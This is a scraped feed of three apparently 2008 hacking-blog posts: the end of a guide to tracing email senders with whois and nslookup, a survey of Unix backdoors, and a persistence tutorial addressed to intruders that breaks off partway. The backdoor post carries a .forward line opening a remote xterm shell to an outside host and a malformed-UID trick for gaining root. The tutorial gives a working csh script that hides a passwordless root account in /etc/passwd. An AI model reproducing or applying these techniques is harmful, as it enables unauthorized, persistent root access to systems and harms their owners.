/&gt;# ARIN WHOIS database, last updated 2003-12-31 19:15&lt;br /&gt;# Enter ? for additional hints on searching ARIN's WHOIS database.&lt;br /&gt;&lt;br /&gt;I can also verify the hostname of the remote server by using nslookup, although in this particular instance, my email server has already provided both the IP address and the hostname.&lt;br /&gt;&lt;br /&gt;davar@nqh9k:[/home/davar] $nslookup 12.218.172.108&lt;br /&gt;&lt;br /&gt;Server: localhost&lt;br /&gt;Address: 127.0.0.1&lt;br /&gt;&lt;br /&gt;Name: 12-218-172-108.client.mchsi.com&lt;br /&gt;Address: 12.218.172.108&lt;br /&gt;&lt;br /&gt;Ok, whois shows that Mediacom Communications owns that netblock and nslookup confirms the address to hostname mapping of the remote server,12-218-172-108.client.mchsi.com. If I preface a www in front of the domain name portion and plug that into my web browser, http://www.mchsi.com, I get Mediacom's web site.&lt;br /&gt;&lt;br /&gt;There are few things more embarrassing to me than firing off an angry message to someone who is supposedly responsible for a problem, and being wrong. By double checking who owns the remote host's IP address using two different tools (whois and nslookup) I minimize the chance of making myself look like an idiot.&lt;br /&gt;&lt;br /&gt;A quick glance at the web site and it appears they are an ISP. Now if I copy the entire message including the headers into a new email message and send it to abuse@mchsi.com with a short message explaining the situation, they may do something about it.&lt;br /&gt;&lt;br /&gt;But what about Maricela Paulson? There really is no way to determine who sent a message, the best you can hope for is to find out what host sent it. Even in the case of a PGP signed messages there is no guarantee that one particular person actually pressed the send button. Obviously determining who the actual sender of an email message is much more involved than reading the From header. Hopefully this example may be of some use to other forum regulars.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2593002338410295360-4556254932336479170?l=hacking1001tips.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/ByV39XuHj2-kkL0DvYQNw6rDBZ8/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/ByV39XuHj2-kkL0DvYQNw6rDBZ8/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/ByV39XuHj2-kkL0DvYQNw6rDBZ8/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/ByV39XuHj2-kkL0DvYQNw6rDBZ8/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Hacking1001Tips/~4/0NkoJB4yiOo" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://hacking1001tips.blogspot.com/feeds/4556254932336479170/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=2593002338410295360&amp;postID=4556254932336479170" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/2593002338410295360/posts/default/4556254932336479170?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/2593002338410295360/posts/default/4556254932336479170?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Hacking1001Tips/~3/0NkoJB4yiOo/backtracking-email-messages.html" title="Backtracking EMAIL Messages" /><author><name>ahaks</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://hacking1001tips.blogspot.com/2008/08/backtracking-email-messages.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D04BR3w-cCp7ImA9WxdbFUg.&quot;"><id>tag:blogger.com,1999:blog-2593002338410295360.post-5329422078553560438</id><published>2008-08-12T08:45:00.001-07:00</published><updated>2008-08-12T08:45:56.258-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-08-12T08:45:56.258-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Hacking" /><category scheme="http://www.blogger.com/atom/ns#" term="BackDoor" /><title>Backdoors</title><content type="html">Since the early days of intruders breaking into computers, they have tried&lt;br /&gt;to develop techniques or backdoors that allow them to get back into the&lt;br /&gt;system.   In this paper, it will be focused on many of the common backdoors&lt;br /&gt;and possible ways to check for them.  Most of focus will be on Unix&lt;br /&gt;backdoors with some discussion on future Windows NT backdoors.  This will&lt;br /&gt;describe the complexity of the issues in trying to determine the methods&lt;br /&gt;that intruders use and the basis for administrators understanding on how&lt;br /&gt;they might be able to stop the intruders from getting back in.  When an&lt;br /&gt;administrator understands how difficult it would be to stop intruder once&lt;br /&gt;they are in, the appreciation of being proactive to block the intruder from&lt;br /&gt;ever getting in becomes better understood.  This is intended to cover many&lt;br /&gt;of the popular commonly used backdoors by beginner and advanced intruders.&lt;br /&gt; This is not intended to cover every possible way to create a backdoor as&lt;br /&gt;the possibilities are limitless.&lt;br /&gt;&lt;br /&gt;The backdoor for most intruders provide two or three main functions:&lt;br /&gt;&lt;br /&gt;Be able to get back into a machine even if the administrator tries to&lt;br /&gt;secure it, e.g., changing all the passwords.&lt;br /&gt;&lt;br /&gt;Be able to get back into the machine with the least amount of visibility.&lt;br /&gt; Most backdoors provide a way to avoid being logged and many times the&lt;br /&gt;machine can appear to have no one online even while an intruder is using&lt;br /&gt;it.&lt;br /&gt;&lt;br /&gt;Be able to get back into the machine with the least amount of time.  Most&lt;br /&gt;intruders want to easily get back into the machine without having to do all&lt;br /&gt;the work of exploiting a hole to gain access.&lt;br /&gt;&lt;br /&gt;In some cases, if the intruder may think the administrator may detect any&lt;br /&gt;installed backdoor, they will resort to using the vulnerability repeatedly&lt;br /&gt;to get on a machine as the only backdoor.   Thus not touching anything that&lt;br /&gt;may tip off the administrator.   Therefore in some cases, the&lt;br /&gt;vulnerabilities on a machine remain the only unnoticed backdoor.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Password Cracking Backdoor&lt;br /&gt;&lt;br /&gt;One of the first and oldest methods of intruders used to gain not only&lt;br /&gt;access to a Unix machine but backdoors was to run a password cracker.  This&lt;br /&gt;uncovers weak passworded accounts.  All these new accounts are now possible&lt;br /&gt;backdoors into a machine even if the system administrator locks out the&lt;br /&gt;intruder's current account.  Many times, the intruder will look for unused&lt;br /&gt;accounts with easy passwords and change the password to something&lt;br /&gt;difficult.  When the administrator looked for all the weak passworded&lt;br /&gt;accounts, the accounts with modified passwords will not appear.  Thus the&lt;br /&gt;administrator will not be able to easily determine which accounts to lock&lt;br /&gt;out.&lt;br /&gt;&lt;br /&gt;Rhosts + + Backdoor&lt;br /&gt;&lt;br /&gt;On networked Unix machines, services like Rsh and Rlogin used a simple&lt;br /&gt;authentication method based on hostnames that appear in rhosts.  A user&lt;br /&gt;could easily configure which machines not to require a password to log&lt;br /&gt;into.  An intruder that gained access to someone's rhosts file could put a&lt;br /&gt;"+ +" in the file and that would allow anyone from anywhere to log into&lt;br /&gt;that account without a password.  Many intruders use this method especially&lt;br /&gt;when NFS is exporting home directories to the world.   These accounts&lt;br /&gt;become backdoors for intruders to get back into the system.  Many intruders&lt;br /&gt;prefer using Rsh over Rlogin because it is many times lacking any logging&lt;br /&gt;capability.  Many administrators check for "+ +" therefore an intruder may&lt;br /&gt;actually put in a hostname and username from another compromised account on&lt;br /&gt;the network, making it less obvious to spot.&lt;br /&gt;&lt;br /&gt;Checksum and Timestamp Backdoors&lt;br /&gt;&lt;br /&gt;Early on, many intruders replaced binaries with their own trojan versions.&lt;br /&gt; Many system administrators relied on time-stamping and the system checksum&lt;br /&gt;programs, e.g., Unix's sum program, to try to determine when a binary file&lt;br /&gt;has been modified.  Intruders have developed technology that will recreate&lt;br /&gt; the same time-stamp for the trojan file as the original file.  This is&lt;br /&gt;accomplished by setting the system clock time back to the original file's&lt;br /&gt;time and then adjusting the trojan file's time to the system clock.  Once&lt;br /&gt;the binary trojan file has the exact same time as the original, the system&lt;br /&gt;clock is reset to the current time.  The sum program relies on a CRC&lt;br /&gt;checksum and is easily spoofed.  Intruders have developed programs that&lt;br /&gt;would modify the trojan binary to have the necessary original checksum,&lt;br /&gt;thus fooling the administrators.  MD5 checksums is the recommended choice&lt;br /&gt;to use today by most vendors.  MD5 is based on an algorithm that no one has&lt;br /&gt;yet to date proven can be spoofed.&lt;br /&gt;&lt;br /&gt;Login Backdoor&lt;br /&gt;&lt;br /&gt;On Unix, the login program is the software that usually does the password&lt;br /&gt;authentication when someone telnets to the machine.  Intruders grabbed the&lt;br /&gt;source code to login.c and modified it that when login compared the user's&lt;br /&gt;password with the stored password, it would first check for a backdoor&lt;br /&gt;password. If the user typed in the backdoor password, it would allow you to&lt;br /&gt;log in regardless of what the administrator sets the passwords to.  Thus&lt;br /&gt;this allowed the intruder to log into any account, even root.   The&lt;br /&gt;password backdoor would spawn access before the user actually logged in and&lt;br /&gt;appeared in utmp and wtmp.  Therefore an intruder could be logged in and&lt;br /&gt;have shell access without it appearing anyone is on that machine as that&lt;br /&gt;account.  Administrators started noticing these backdoors especially if&lt;br /&gt;they did a "strings" command to find what text was in the login program.&lt;br /&gt; Many times the backdoor password would show up. The intruders then&lt;br /&gt;encrypted or hid the backdoor password better so it would not appear by&lt;br /&gt;just doing strings.  Many of the administrators can detect these backdoors&lt;br /&gt;with MD5 checksums.&lt;br /&gt;&lt;br /&gt;Telnetd Backdoor&lt;br /&gt;&lt;br /&gt;When a user telnets to the machine, inetd service listens on the port and&lt;br /&gt;receive the connection and then passes it to in.telnetd, that then runs&lt;br /&gt;login.  Some intruders knew the administrator was checking the login&lt;br /&gt;program for tampering, so they modified in.telnetd.  Within in.telnetd, it&lt;br /&gt;does several checks from the user for things like what kind of terminal the&lt;br /&gt;user was using.  Typically, the terminal setting might be Xterm or VT100.&lt;br /&gt; An intruder could backdoor it so that when the terminal was set to&lt;br /&gt;"letmein", it would spawn a shell without requiring any authentication.&lt;br /&gt;  Intruders have backdoored some services so that any connection from a&lt;br /&gt;specific source port can spawn a shell.&lt;br /&gt;&lt;br /&gt;Services Backdoor&lt;br /&gt;&lt;br /&gt;Almost every network service has at one time been backdoored by an&lt;br /&gt;intruder.  Backdoored versions of finger, rsh, rexec, rlogin, ftp, even&lt;br /&gt;inetd, etc., have been floating around forever.  There are programs that&lt;br /&gt;are nothing more than a shell connected to a TCP port with maybe a backdoor&lt;br /&gt;password to gain access.  These programs sometimes replace a service like&lt;br /&gt;uucp that never gets used or they get added to the inetd.conf file as a new&lt;br /&gt;service.  Administrators should be very wary of what services are running&lt;br /&gt;and analyze the original services by MD5 checksums.&lt;br /&gt;&lt;br /&gt;Cronjob backdoor&lt;br /&gt;&lt;br /&gt;Cronjob on Unix schedules when certain programs should be run.  An intruder&lt;br /&gt;could add a backdoor shell program to run between 1 AM and 2 AM.  So for 1&lt;br /&gt;hour every night, the intruder could gain access.  Intruders have also&lt;br /&gt;looked at legitimate programs that typically run in cronjob and built&lt;br /&gt;backdoors into those programs as well.&lt;br /&gt;&lt;br /&gt;Library backdoors&lt;br /&gt;&lt;br /&gt;Almost every UNIX system uses shared libraries.  The shared libraries are&lt;br /&gt;intended to reuse many of the same routines thus cutting down on the size&lt;br /&gt;of programs.  Some intruders have backdoored some of the routines like&lt;br /&gt;crypt.c and _crypt.c.  Programs like login.c would use the crypt() routine&lt;br /&gt;and if a backdoor password was used it would spawn a shell.  Therefore,&lt;br /&gt;even if the administrator was checking the MD5 of the login program, it was&lt;br /&gt;still spawning a backdoor routine and many administrators were not checking&lt;br /&gt;the libraries as a possible source of backdoors.&lt;br /&gt;&lt;br /&gt;One problem for many intruders was that some administrators started MD5&lt;br /&gt;checksums of almost everything.  One method intruders used to get around&lt;br /&gt;that is to backdoor the open() and file access routines.  The backdoor&lt;br /&gt;routines were configured to read the original files, but execute the trojan&lt;br /&gt;backdoors.  Therefore, when the MD5 checksum program was reading these&lt;br /&gt;files, the checksums always looked good.  But when the system ran the&lt;br /&gt;program, it executed the trojan version.  Even the trojan library itself,&lt;br /&gt;could be hidden from the MD5 checksums.   One way to an administrator could&lt;br /&gt;get around this backdoor was to statically link the MD5 checksum checker&lt;br /&gt;and run on the system.  The statically linked program does not use the&lt;br /&gt;trojan shared libraries.&lt;br /&gt;&lt;br /&gt;Kernel backdoors&lt;br /&gt;&lt;br /&gt;The kernel on Unix is the core of how Unix works.  The same method used for&lt;br /&gt;libraries for bypassing MD5 checksum could be used at the kernel level,&lt;br /&gt;except even a statically linked program could not tell the difference.  A&lt;br /&gt;good backdoored kernel is probably one of the hardest to find by&lt;br /&gt;administrators, fortunately kernel backdoor scripts have not yet been&lt;br /&gt;widely made available and no one knows how wide spread they really are.&lt;br /&gt;&lt;br /&gt;File system backdoors&lt;br /&gt;&lt;br /&gt;An intruder may want to store their loot or data on a server somewhere&lt;br /&gt;without the administrator finding the files.  The intruder's files can&lt;br /&gt;typically contain their toolbox of exploit scripts, backdoors, sniffer&lt;br /&gt;logs, copied data like email messages, source code, etc.    To hide these&lt;br /&gt;sometimes large files from an administrator, an intruder may patch the&lt;br /&gt;files system commands like "ls", "du", and "fsck" to hide the existence of&lt;br /&gt;certain directories or files.  At a very low level, one intruder's backdoor&lt;br /&gt;created a section on the hard drive to have a proprietary format that was&lt;br /&gt;designated as "bad" sectors on the hard drive.  Thus an intruder could&lt;br /&gt;access those hidden files with only special tools, but to the regular&lt;br /&gt;administrator, it is very difficult to determine that the marked "bad"&lt;br /&gt;sectors were indeed storage area for the hidden file system.&lt;br /&gt;&lt;br /&gt;Bootblock backdoors&lt;br /&gt;&lt;br /&gt;In the PC world, many viruses have hid themselves within the bootblock&lt;br /&gt;section and most antivirus software will check to see if the bootblock has&lt;br /&gt;been altered.  On Unix, most administrators do not have any software that&lt;br /&gt;checks the bootblock, therefore some intruders have hidden some backdoors&lt;br /&gt;in the bootblock area.&lt;br /&gt;&lt;br /&gt;Process hiding backdoors&lt;br /&gt;&lt;br /&gt;An intruder many times wants to hide the programs they are running.  The&lt;br /&gt;programs they want to hide are commonly a password cracker or a sniffer.&lt;br /&gt; There are quite a few methods and here are some of the more common:&lt;br /&gt;&lt;br /&gt;An intruder may write the program to modify its own argv[] to make it look&lt;br /&gt;like another process name.&lt;br /&gt;&lt;br /&gt;An intruder could rename the sniffer program to a legitimate service like&lt;br /&gt;in.syslog and run it.  Thus when an administrator does a "ps" or looks at&lt;br /&gt;what is running, the standard service names appear.&lt;br /&gt;&lt;br /&gt;An intruder could modify the library routines so that "ps" does not show&lt;br /&gt;all the processes.&lt;br /&gt;&lt;br /&gt;An intruder could patch a backdoor or program into an interrupt driven&lt;br /&gt;routine so it does not appear in the process table.  An example backdoor&lt;br /&gt;using this technique is amod.tar.gz available on&lt;br /&gt; http://star.niimm.spb.su/~maillist/bugtraq.1/0777.html&lt;br /&gt;&lt;br /&gt;An intruder could modify the kernel to hide certain processes as well.&lt;br /&gt;&lt;br /&gt;Rootkit&lt;br /&gt;&lt;br /&gt;One of the most popular packages to install backdoors is rootkit.  It can&lt;br /&gt;easily be located using Web search engines.  From the Rootkit README, here&lt;br /&gt;are the typical files that get installed:&lt;br /&gt;&lt;br /&gt;z2 - removes entries from utmp, wtmp, and lastlog.&lt;br /&gt;Es - rokstar's ethernet sniffer for sun4 based kernels.&lt;br /&gt;Fix - try to fake checksums, install with same dates/perms/u/g.&lt;br /&gt;Sl - become root via a magic password sent to login.&lt;br /&gt;Ic - modified ifconfig to remove PROMISC flag from output.&lt;br /&gt;ps: - hides the processes.&lt;br /&gt;Ns - modified netstat to hide connections to certain machines.&lt;br /&gt;Ls - hides certain directories and files from being listed.&lt;br /&gt;du5 - hides how much space is being used on your hard drive.&lt;br /&gt;ls5 -  hides certain files and directories from being listed.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Network traffic backdoors&lt;br /&gt;&lt;br /&gt;Not only do intruders want to hide their tracks on the machine, but also&lt;br /&gt;they want to hide their network traffic as much as possible.  These network&lt;br /&gt;traffic backdoors sometimes allow an intruder to gain access through a&lt;br /&gt;firewall.  There are many network backdoor programs that allow an intruder&lt;br /&gt;to set up on a certain port number on a machine that will allow access&lt;br /&gt;without ever going through the normal services.  Because the traffic is&lt;br /&gt;going to a non-standard network port, the administrator can overlook the&lt;br /&gt;intruder's traffic.  These network traffic backdoors are typically using&lt;br /&gt;TCP, UDP, and ICMP, but it could be many other kinds of packets.&lt;br /&gt;&lt;br /&gt;TCP Shell Backdoors&lt;br /&gt;&lt;br /&gt;The intruder can set up these TCP Shell backdoors on some high port number&lt;br /&gt;possibly where the firewall is not blocking that TCP port.  Many times,&lt;br /&gt;they will be protected with a password just so that an administrator that&lt;br /&gt;connects to it, will not immediately see shell access.  An administrator&lt;br /&gt;can look for these connections with netstat to see what ports are listening&lt;br /&gt;and where current connections are going to and from.  Many times, these&lt;br /&gt;backdoors allow an intruder to get past TCP Wrapper technology.  These&lt;br /&gt;backdoors could be run on the SMTP port, which many firewalls allow traffic&lt;br /&gt;to pass for e-mail.&lt;br /&gt;&lt;br /&gt;UDP Shell Backdoors&lt;br /&gt;&lt;br /&gt;Administrator many times can spot a TCP connection and notice the odd&lt;br /&gt;behavior, while UDP shell backdoors lack any connection so netstat would&lt;br /&gt;not show an intruder accessing the Unix machine.  Many firewalls have been&lt;br /&gt;configured to allow UDP packets for services like DNS through.  Many times,&lt;br /&gt;intruders will place the UDP Shell backdoor on that port and it will be&lt;br /&gt;allowed to by-pass the firewall.&lt;br /&gt;&lt;br /&gt;ICMP Shell Backdoors&lt;br /&gt;&lt;br /&gt;Ping is one of the most common ways to find out if a machine is alive by&lt;br /&gt;sending and receiving ICMP packets.  Many firewalls allow outsiders to ping&lt;br /&gt;internal machines.  An intruder can put data in the Ping ICMP packets and&lt;br /&gt;tunnel a shell between the pinging machines.  An administrator may notice a&lt;br /&gt;flurry of Ping packets, but unless the administrator looks at the data in&lt;br /&gt;the packets, an intruder can be unnoticed.&lt;br /&gt;&lt;br /&gt;Encrypted Link&lt;br /&gt;&lt;br /&gt;An administrator can set up a sniffer trying to see data appears as someone&lt;br /&gt;accessing a shell, but an intruder can add encryption to the Network&lt;br /&gt;traffic backdoors and it becomes almost impossible to determine what is&lt;br /&gt;actually being transmitted between two machines.&lt;br /&gt;&lt;br /&gt;Windows NT&lt;br /&gt;&lt;br /&gt;Because Windows NT does not easily allow multiple users on a single machine&lt;br /&gt;and remote access similar as Unix, it becomes harder for the intruder to&lt;br /&gt;break into Windows NT, install a backdoor, and launch an attack from it.&lt;br /&gt;Thus you will find more frequently network attacks that are spring boarded&lt;br /&gt;from a Unix box than Windows NT. As Windows NT advances in multi-user&lt;br /&gt;technologies, this may give a higher frequency of intruders who use Windows&lt;br /&gt;NT to their advantage.  And if this does happen, many of the concepts from&lt;br /&gt;Unix backdoors can be ported to Windows NT and administrators can be ready&lt;br /&gt;for the intruder.  Today, there are already telnet daemons available for&lt;br /&gt;Windows NT.  With Network Traffic backdoors, they are very feasible for&lt;br /&gt;intruders to install on Windows NT.&lt;br /&gt;&lt;br /&gt;Solutions&lt;br /&gt;&lt;br /&gt;As backdoor technology advances, it becomes even harder for administrators&lt;br /&gt;to determine if an intruder has gotten in or if they have been successfully&lt;br /&gt;locked out.&lt;br /&gt;&lt;br /&gt;Assessment&lt;br /&gt;&lt;br /&gt;One of the first steps in being proactive is to assess how vulnerable your&lt;br /&gt;network is, thus being able to figure out what holes exist that should be&lt;br /&gt;fixed.  Many commercial tools exist to help scan and audit the network and&lt;br /&gt;systems for vulnerabilities.  Many companies could dramatically improve&lt;br /&gt;their security if they only installed the security patches made freely&lt;br /&gt;available by their vendors.&lt;br /&gt;&lt;br /&gt;MD5 Baselines&lt;br /&gt;&lt;br /&gt;One necessary component of a system scanner is MD5 checksum baselines.&lt;br /&gt; This MD5 baseline should be built up before a hacker attack with clean&lt;br /&gt;systems.  Once a hacker is in and has installed backdoors, trying to create&lt;br /&gt;a baseline after the fact could incorporate the backdoors into the&lt;br /&gt;baseline.  Several companies had been hacked and had backdoors installed on&lt;br /&gt;their systems for many months. Overtime, all the backups of the systems&lt;br /&gt;contained the backdoors.   When some of these companies found out they had&lt;br /&gt;a hacker, they restored a backup in hopes of removing any backdoors.  The&lt;br /&gt;effort was futile since they were restoring all the files, even the&lt;br /&gt;backdoored ones.  The binary baseline comparison needs to be done before an&lt;br /&gt;attack happens.&lt;br /&gt;&lt;br /&gt;Intrusion detection&lt;br /&gt;&lt;br /&gt;Intrusion detection is becoming more important as organizations are hooking&lt;br /&gt;up and allowing connections to some of their machines.  Most of the older&lt;br /&gt;intrusion detection technology was log-based events.  The latest intrusion&lt;br /&gt;detection system (IDS) technology is based on real-time sniffing and&lt;br /&gt;network traffic security analysis.  Many of the network traffic backdoors&lt;br /&gt;can now easily be detected.  The latest IDS technology can take a look at&lt;br /&gt;the DNS UDP packets and determine if it matches the DNS protocol requests.&lt;br /&gt; If the data on the DNS port does not match the DNS protocol, an alert flag&lt;br /&gt;can be signaled and the data captured for further analysis.   The same&lt;br /&gt;principle can be applied to the data in an ICMP packet to see if it is the&lt;br /&gt;normal ping data or if it is carrying encrypted shell session.&lt;br /&gt;&lt;br /&gt;Boot from CD-ROM.&lt;br /&gt;&lt;br /&gt;Some administrators may want to consider booting from CD-ROM thus&lt;br /&gt;eliminating the possibility of an intruder installing a backdoor on the&lt;br /&gt;CD-ROM.  The problem with this method is the cost and time of implementing&lt;br /&gt;this solution enterprise wide.&lt;br /&gt;&lt;br /&gt;Vigilant&lt;br /&gt;&lt;br /&gt;Because the security field is changing so fast, with new vulnerabilities&lt;br /&gt;being announced daily and intruders are constantly designing new attack and&lt;br /&gt;backdoor techniques, no security technology is effective without vigilance.&lt;br /&gt;&lt;br /&gt;Be aware that no defense is foolproof, and that there is no substitute for&lt;br /&gt;diligent attention.&lt;br /&gt;&lt;br /&gt;-------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;you may want to add:&lt;br /&gt;&lt;br /&gt;    .forward Backdoor&lt;br /&gt;&lt;br /&gt;    On Unix machines, placing commands into the .forward file was also&lt;br /&gt;    a common method of regaining access.  For the account ``username''&lt;br /&gt;    a .forward file might be constructed as follows:&lt;br /&gt;&lt;br /&gt;        \username&lt;br /&gt;        |"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 -e /bin/sh"&lt;br /&gt;&lt;br /&gt;    permutations of this method include alteration of the systems mail&lt;br /&gt;    aliases file (most commonly located at /etc/aliases).  Note that&lt;br /&gt;    this is a simple permutation, the more advanced  can run a simple&lt;br /&gt;    script from the forward file that can take arbitrary commands via&lt;br /&gt;    stdin (after minor preprocessing).&lt;br /&gt;&lt;br /&gt;PS: The above method is also useful gaining access a companies&lt;br /&gt;        mailhub (assuming there is a shared a home directory FS on&lt;br /&gt;        the client and server).&lt;br /&gt;&lt;br /&gt;&gt; Using smrsh can effectively negate this backdoor (although it's quite&lt;br /&gt;&gt; possibly still a problem if you allow things like elm's filter or&lt;br /&gt;&gt; procmail which can run programs themselves...).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;---------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;you may want to add this "feature" that can act as a backdoor:&lt;br /&gt;&lt;br /&gt;when specifying a wrong uid/gid in the /etc/password file,&lt;br /&gt;most login(1) implementations will fail to detect the wrong&lt;br /&gt;uid/gid and atoi(3) will set uid/gid to 0, giving superuser&lt;br /&gt;privileges.&lt;br /&gt;&lt;br /&gt;example:&lt;br /&gt;rmartin:x:x50:50:R. Martin:/home/rmartin:/bin/tcsh&lt;br /&gt;on Linux boxes, this will give uid 0 to user rmartin.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2593002338410295360-5329422078553560438?l=hacking1001tips.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/KDvlxLTfxrVyj3z8BfDZaskgHyk/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/KDvlxLTfxrVyj3z8BfDZaskgHyk/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/KDvlxLTfxrVyj3z8BfDZaskgHyk/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/KDvlxLTfxrVyj3z8BfDZaskgHyk/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Hacking1001Tips/~4/2RN6LIaK0Fs" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://hacking1001tips.blogspot.com/feeds/5329422078553560438/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=2593002338410295360&amp;postID=5329422078553560438" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/2593002338410295360/posts/default/5329422078553560438?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/2593002338410295360/posts/default/5329422078553560438?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Hacking1001Tips/~3/2RN6LIaK0Fs/backdoors.html" title="Backdoors" /><author><name>ahaks</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://hacking1001tips.blogspot.com/2008/08/backdoors.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D08MRnc-fip7ImA9WxdbFUg.&quot;"><id>tag:blogger.com,1999:blog-2593002338410295360.post-2305708296392424599</id><published>2008-08-12T08:44:00.001-07:00</published><updated>2008-08-12T08:44:47.956-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-08-12T08:44:47.956-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Hacking" /><category scheme="http://www.blogger.com/atom/ns#" term="BackDoor" /><title>BackDoor</title><content type="html">Ok..... You've been at it for all night. Trying all the exploits you can think of. The system seems tight. The system looks tight.&lt;br /&gt;The system *is* tight. You've tried everything. Default passwds, guessable passwds, NIS weaknesses, NFS holes, incorrect&lt;br /&gt;permissions, race conditions, SUID exploits, Sendmail bugs, and so on... Nothing. WAIT! What's that!?!? A "#" ???? Finally!&lt;br /&gt;After seeming endless toiling, you've managed to steal root. Now what? How do you hold onto this precious super-user&lt;br /&gt;privilege you have worked so hard to achieve....? &lt;br /&gt;&lt;br /&gt;This article is intended to show you how to hold onto root once you have it. It is intended for hackers and administrators alike.&lt;br /&gt;From a hacking perspective, it is obvious what good this paper will do you. Admin's can likewise benefit from this paper. Ever&lt;br /&gt;wonder how that pesky hacker always manages to pop up, even when you think you've completely eradicated him from your&lt;br /&gt;system?&lt;br /&gt;This list is BY NO MEANS comprehensive. There are as many ways to leave backdoors into a UNIX computer as there are&lt;br /&gt;ways into one. &lt;br /&gt;&lt;br /&gt;Beforehand&lt;br /&gt;&lt;br /&gt;Know the location of critical system files. This should be obvious (If you can't list any of the top of your head, stop reading&lt;br /&gt;now, get a book on UNIX, read it, then come back to me...). Familiarity with passwd file formats (including general 7 field&lt;br /&gt;format, system specific naming conventions, shadowing mechanisms, etc...). Know vi. Many systems will not have those&lt;br /&gt;robust, user-friendly editors such as Pico and Emacs. Vi is also quite useful for needing to quickly seach and edit a large file. If&lt;br /&gt;you are connecting remotely (via dial-up/telnet/rlogin/whatver) it's always nice to have a robust terminal program that has a&lt;br /&gt;nice, FAT scrollback buffer. This will come in handy if you want to cut and paste code, rc files, shell scripts, etc...&lt;br /&gt;&lt;br /&gt;The permenance of these backdoors will depend completely on the technical saavy of the administrator. The experienced and&lt;br /&gt;skilled administrator will be wise to many (if not all) of these backdoors. But, if you have managed to steal root, it is likely the&lt;br /&gt;admin isn't as skilled (or up to date on bug reports) as she should be, and many of these doors may be in place for some time&lt;br /&gt;to come. One major thing to be aware of, is the fact that if you can cover you tracks during the initial break-in, no one will be&lt;br /&gt;looking for back doors.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The Overt&lt;br /&gt;&lt;br /&gt;[1] Add a UID 0 account to the passwd file. This is probably the most obvious and quickly discovered method of rentry. It&lt;br /&gt;flies a red flag to the admin, saying "WE'RE UNDER ATTACK!!!". If you must do this, my advice is DO NOT simply&lt;br /&gt;prepend or append it. Anyone causally examining the passwd file will see this. So, why not stick it in the middle... &lt;br /&gt;&lt;br /&gt;#!/bin/csh&lt;br /&gt;# Inserts a UID 0 account into the middle of the passwd file.&lt;br /&gt;# There is likely a way to do this in 1/2 a line of AWK or SED.  Oh well.&lt;br /&gt;# daemon9@netcom.com&lt;br /&gt;&lt;br /&gt;set linecount = `wc -l /etc/passwd`&lt;br /&gt;cd                                      # Do this at home.&lt;br /&gt;cp /etc/passwd ./temppass               # Safety first.&lt;br /&gt;echo passwd file has $linecount[1] lines.&lt;br /&gt;@ linecount[1] /= 2&lt;br /&gt;@ linecount[1] += 1                     # we only want 2 temp files&lt;br /&gt;echo Creating two files, $linecount[1] lines each \(or approximately that\).&lt;br /&gt;split -$linecount[1] ./temppass         # passwd string optional&lt;br /&gt;echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" &gt;&gt; ./xaa&lt;br /&gt;cat ./xab &gt;&gt; ./xaa&lt;br /&gt;mv ./xaa /etc/passwd&lt;br /&gt;chmod 644 /etc/passwd                   # or whatever it was beforehand&lt;br /&gt;rm ./xa* ./temppass&lt;br /&gt;echo Done...&lt;br /&gt;&lt;br /&gt;NEVER, EVER, change the root password. The reasons are obvious. &lt;br /&gt;&lt;br /&gt;[2] In a similar vein, enable a disabled account as UID 0, such as 